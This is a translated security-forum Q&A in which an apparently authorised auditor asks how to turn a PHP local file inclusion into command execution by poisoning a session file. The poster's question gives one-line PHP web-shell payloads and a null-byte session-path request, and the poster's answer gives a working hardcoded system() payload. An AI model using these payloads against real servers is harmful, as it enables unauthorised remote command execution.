código PHP en sesión de usuario LFI filtrado

2

En primer lugar, hago el descargo de responsabilidad obligatorio de que todo lo que estoy haciendo aquí es legítimo y preautorizado, etc., etc.

Para aquellos que no están familiarizados con la inclusión de archivos locales de sesión de usuario en PHP, hay un buen ejemplo aquí en la sección 2.2.4: enlace

Estoy auditando un servicio web que sufre una vulnerabilidad de LFI que solo se puede explotar a través de un archivo de sesión (no tengo derechos para leer / proc / self / environs, acceso de Apache / registros de errores, etc.). El contenido del archivo de sesión original tiene este aspecto (modificado del secreto original):

user|s:5:"user1";pass|s:4:"pass";sig|s:1:"0";

Puedo modificar el parámetro sig utilizando un proxy para interceptar el tráfico web. Por ejemplo, cambiando sig = 0 por sig = hola, veo:

user|s:5:"user1";pass|s:4:"pass";sig|s:5:"hello";

Hasta ahora, todo bien. El problema viene cuando intento inyectar código PHP en lugar de una cadena de texto. Al usar cualquiera de los códigos a continuación, veo el mismo resultado:

<?php passthru($_GET['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php exec($_GET['cmd']); ?>

El archivo de sesión registra las longitudes de las cadenas de código correctamente, pero aparentemente los contenidos se filtran.

user|s:5:"user1";pass|s:4:"pass";sig|s:28:"";

De cualquier manera, no puedo hacer que mi código PHP se ejecute, ya que esto no devuelve nada.

session=/tmp/sess_3ksjdx983klsjg1nsljd92lzs%00&cmd=uname -a

Siento que me estoy perdiendo algo bastante simple, pero no tengo mucha experiencia con PHP; por lo tanto, apreciaría mucho todas y cada una de las ideas.

    
pregunta AK-33 19.05.2015 - 09:02
fuente

2 respuestas

0

Aunque todavía me gustaría saber por qué la parte $_GET['cmd'] del código parece plantear un problema, encontré una solución alternativa. En lugar de llamar a una variable GET, resulta que solo pude ejecutar los comandos que quiero directamente:

<?php system('uname -a'); ?>

Y los contenidos se muestran en la página web en cuestión.

    
respondido por el AK-33 19.05.2015 - 11:53
fuente
0

Es posible que haya identificado un recorrido transversal y no un LFI. Si el código vulnerable llama a file_get_contents() en lugar de require() o include() , no se analizará y ejecutará el código php contenido en el archivo. Como el código php reside entre los corchetes angulares < y > , no se podrá ver en el navegador a menos que vea la fuente de la página.

    
respondido por el wireghoul 18.08.2015 - 07:38
fuente

Lea otras preguntas en las etiquetas